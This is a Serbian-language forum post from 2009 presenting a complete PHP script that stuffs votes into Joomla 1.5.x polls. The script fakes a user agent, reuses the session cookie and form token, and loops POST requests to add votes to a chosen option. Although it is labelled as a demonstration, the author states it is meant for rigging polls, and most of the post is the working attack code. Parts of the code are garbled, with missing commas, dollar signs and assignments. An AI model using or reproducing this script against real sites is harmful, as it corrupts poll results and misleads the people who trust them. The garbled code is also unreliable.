Joomla 1.5.x poll exploit system

Započeo holodoc, 24.07.2009, 13:33

prethodna tema - sledeća tema

holodoc

24.07.2009, 13:33 Poslednja Izmena: 13.11.2010, 14:41 od holodoc
Naslušah se ja priča o tome kako je Joomla dobra i kako joj nema ravne pa eto juče zaintrigiran tim konstantnim hvalospevima i ispevanim narodnim pesmama o njoj konačno reših da napišem jednu kratku PHP skriptu da demonstriram fantastičnu lakoću proizvoljnog menjanja rezultata u glasanjima u Joomli.

Skripta se može pokrenuti na bilo kom AMP serveru koji ima pristup webu i jedini je uslov da su na njemu instalirane php-curl i php-xml ekstenzije što je slučaj sa svim normalnim PHP serverima danas. Nakon podešavanja parametara skripta se pokreće jednostavnim dodavanjem parametara option i votes na adresu fajla gde se izvršava (recimo localhost/vote.php?option=4&votes=1000)

Sve je detaljno iskomentovano u samom fajlu ali ako postoje nejasnoće tu sam. Inače skripta je namenjena za nameštanje glasanja na novoj Joomla v1.5.x gami CMS-a.

<?php
/**
* A simple demonstration of changing the results on Joomla v1.5.x driven polls. 
* !!! THIS SCRIPT IS INTENDED FOR DEMONSTRATION PURPOSES ONLY !!!
*
* A simple demonstration of how a polling system is not supposed to be designed using Joomla, the
* most widely used Open source CMS on the world wide web. Joomla poll systems have no IP flood 
* prevention systems and some of the features which would actually be required for a CMS used that
* much. Despite the fact that this code might seem long only 20-30 lines of code are actually required
* for this code to do it's job. It only requires php-curl and pxp-xml extensions to be installed on 
* the server and can be used anywhere even on a locally installed LAMP system.
*
* @package Fakevote
* @category Joomla exploiters
*/

/**
* Allows the script to run as long as it requires.
*/
ini_set('max_execution_time'0);
/**
* Joomla pool identification URL. Can be easily obtained from the source code of the page.
* It's usual format is http://SITE_URL/index.php?option=com_poll&id=POLL_ID:POLL_TITLE
* Example: http://www.example.com/index.php?option=com_poll&id=1:test-poll
*/
define('URL''');
/** 
* How should this script identify itself to the target server. You can write anything
* you like in here.
*/
define('USER_AGENT''Mozilla/2.0 (compatible; MSIE 3.0; Windows 3.1)');
/**
* The name of the form containing the poll to manipulate. Just look it up inside the page
* source code. Its the value of the 'name' attribute of the 'form' tag.
*/
define('FORM_TO_MANIPULATE''form2');
/**
* Path to a place on the server where this script executes where temporary files can be stored.
*/
define('COOKIE_PATH''/tmp/cookies.txt');
/**
* How many votes can be added during a single request. Useful to not get carried away ;)
*/
define('MAXIMUM_ALLOWED_VOTES'15);

/**
* Contains all of the vote options inside the poll. The array index indicates the vote option 
* position in the poll. I.e. $voteOptions[1] targets the first option to choose from in the poll.
*/
$voteOptions = array('dummy');

/**
* When using this script arguments have to be supplied through URL in order for it to work.
* $_GET['votes'] should contain the exact number of votes to add to a poll option specified with
* $_GET['option'] i.e. 'option=4&votes=100'.
*/
if(isset($_GET['votes']) && isset($_GET['option']) && ((int) $_GET['votes']) > && ((int) $_GET['option']) > 0){
/*
* The requested number of votes has to be lower than defined with MAXIMUM_ALLOWED_VOTES.
*/
if((int) $_GET['votes'] > MAXIMUM_ALLOWED_VOTES){
exit('Maximum allowed votes exceeded!'); //ERROR: Vote number exceeds allowed number
}
/*
* The main voting loop.
*/

for($currentVote 0$currentVote < (int) $_GET['votes']; $currentVote++){
/*
* Retrieving the initial voting page along with the supplied cookie token.
*/

$curl curl_init(URL);
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue); //the result will be stored as string, not displayed
curl_setopt($curlCURLOPT_USERAGENTUSER_AGENT); //we fake the actual user agent
curl_setopt($curlCURLOPT_COOKIEJARCOOKIE_PATH); //the aquired cookies are going to be stored inside a file
/*
* The resulting fetched page along with the form to manipulate.
*/

$result curl_exec($curl);
curl_close($curl); //releasing the curl handler

/**
* An instance of the PHP DOMDocument object which enables the curl result to be parsed as a DOM document.
*/

$domDoc = new DOMDocument;
if(!@$domDoc->loadHTML($result)){
exit(); //ERROR: The resulting curl HTML code could not be parsed. 
} else {
/**
* An instance of the PHP DOMXpath object which enables easy HTML page traversing.
*/
$xpath = new DOMXpath($domDoc);
/*
* For every element of the form to be manipulated the corresponding input elements are extracted.
*/

foreach($xpath->query('//form[@name="'.FORM_TO_MANIPULATE.'"]//input') as $inputElement){
if($inputElement->getAttribute('name') == 'voteid'){
/*
* Vote options go into a separate array.
*/

$voteOptions[] = $inputElement->getAttribute('value');
} else {
/*
* Hidden Joomla poll stuff goes directly into the request array.
*/

$votePostFields[$inputElement->getAttribute('name')] = $inputElement->getAttribute('value');
}
}
/*
* Now the actual vote is inserted into the curl post fields array.
*/

$votePostFields['voteid'] = $voteOptions[(int) $_GET['option']];
/*
* If curl post fields array is not empty all is well and voring can be done.
*/

if(count($votePostFields)){
/*
* ATTACK!!! The prepared post form with all required data to vote and the corresponding
* tokens contained in the cookie file we obtained with the first request are sent to the
* form proccessing page.
*/

$curl curl_init(URL);
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue); //the result of the request is not shown on the screen
curl_setopt($curlCURLOPT_USERAGENTUSER_AGENT); //faking the user agent again
curl_setopt($curlCURLOPT_COOKIEFILECOOKIE_PATH); //the cookies we stored in the original request are now being used to forward the token Joomla sent the first time.
curl_setopt($curlCURLOPT_POSTtrue); //sending the post form along with the request
curl_setopt($curlCURLOPT_POSTFIELDS$votePostFields); //these are the post form fields

$voteResult curl_exec($curl); //the actual reqest and voting is done here
curl_close($curl); //releasing the curl handle
unset($votePostFields); //unsetting the curl post array for the next vote
@$votesAdded++; //usd just to display the number of successful votes
} else {
exit(); //ERROR: there was not curl post array available
}
}
}
exit($votesAdded.' added successfuly!'); //displaying the number of successful votes added to the option
} else {
$man = <<<MAN
ERROR: God damn it Jim the required GET arguments "votes" and "option" are not specified and you expect me to do my job! If you care to notice I am still a doctor not a software developer! Just use i.e. ?option=41&votes=10 in your URL and you will be fine!
MAN;
exit($man);
}
?>
<?php
abstract class Ignorance extends Stupidity implements Unavoidable 
    private function 
__construct(){
        
parent::__destruct();
    }; 

// EOF -> life.php